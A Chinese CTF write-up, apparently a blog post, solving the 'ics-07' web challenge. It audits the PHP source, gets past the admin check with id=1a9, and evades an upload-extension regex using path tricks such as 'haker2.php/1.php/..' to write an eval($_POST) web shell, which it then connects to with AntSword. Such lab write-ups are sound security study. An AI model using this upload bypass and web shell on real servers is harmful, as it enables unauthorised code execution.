• ics-07


    ics-07

    知识点

    floatval($id) 返回参数的浮点部分,并转化为浮点型。

    substr($str,-1) 返回字符串的最后一个字母

    select * from actors where id='1afd945' 相当于id=1

    chdir('uploaded') 改变当前的目录,相当于cd



    Linux的目录结构特性



    思路

    进入题目界面,直接审计源码

     <!DOCTYPE html>
    <html>
      <head>
        <meta charset="utf-8">
        <title>cetc7</title>
      </head>
      <body>
        <?php
        session_start();
    
        if (!isset($_GET[page])) {
          show_source(__FILE__);
          die();
        }
    
        if (isset($_GET[page]) && $_GET[page] != 'index.php') {
          include('flag.php');
        }else {
          header('Location: ?page=flag.php');
        }
    
        ?>
    
        <form action="#" method="get">
          page : <input type="text" name="page" value="">
          id : <input type="text" name="id" value="">
          <input type="submit" name="submit" value="submit">
        </form>
        <br />
        <a href="index.phps">view-source</a>
    
        <?php
         if ($_SESSION['admin']) {
           $con = $_POST['con'];
           $file = $_POST['file'];
           $filename = "backup/".$file;
    
           if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
              die("Bad file extension");
           }else{
                chdir('uploaded');
               $f = fopen($filename, 'w');
               fwrite($f, $con);
               fclose($f);
           }
         }
         ?>
    
        <?php
          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
            include 'config.php';
            $id = mysql_real_escape_string($_GET[id]);
            $sql="select * from cetc007.user where id='$id'";
            $result = mysql_query($sql);
            $result = mysql_fetch_object($result);
          } else {
            $result = False;
            die();
          }
    
          if(!$result)die("<br >something wae wrong ! <br>");
          if($result){
            echo "id: ".$result->id."</br>";
            echo "name:".$result->user."</br>";
            $_SESSION['admin'] = True;
          }
         ?>
    
      </body>
    </html>
    

    显然分为两个关卡,我们先构造?id=1a9 ,成功通过第一关,使得$_SESSION['admin']=True

    进入第二关

    审计发现,我们上传的文件会被存放在uploaded/backup/下,而这里又进行了过滤,一开始我看一眼,发现过滤了php的全部可用后缀,然后上传.htaccess文件,发现解析不了,也就行不通,,然后就看了wp

    发现正则这里原来可以绕过preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename) 表示的是最后一个.后面不允许出现php,php3之类的。

    构造file=haker2.php/1.php/..&con=<?php echo "success";eval($_POST[hacker]); ?>

    表示的意思是在1.php的父目录即hacker2.php所在的这个目录创建hacker2.php这个文件。

    也可构造

    file=haker3.php/.&con=<?php echo "success";eval($_POST[hacker]); ?> 在hacker3.php当前目录下创建hacker3.php文件。

    即可实现绕过。然后蚁剑连接,拿到flag

    参考博客!https://blog.csdn.net/qq_45552960/article/details/102777514

  • 相关阅读:
    echarts属性杂记
    vue工作问题小计
    vue 表单数据修改,导致页面列表数据被同步修改问题的解决。
    利用syslog记录日志的简单日志函数
    1 概述
    PowerDesigner 如何自定义Data Type
    Mybatisplus读取(GeoJson)和保存Postgis geography数据
    【Mybatis】model类通过注解忽略某属性
    如何利用PostGIS正确计算距离和面积
    Linux上编写监控jar包重启脚本
  • 原文地址:https://www.cnblogs.com/NineOne/p/13916703.html
Copyright © 2020-2023  润新知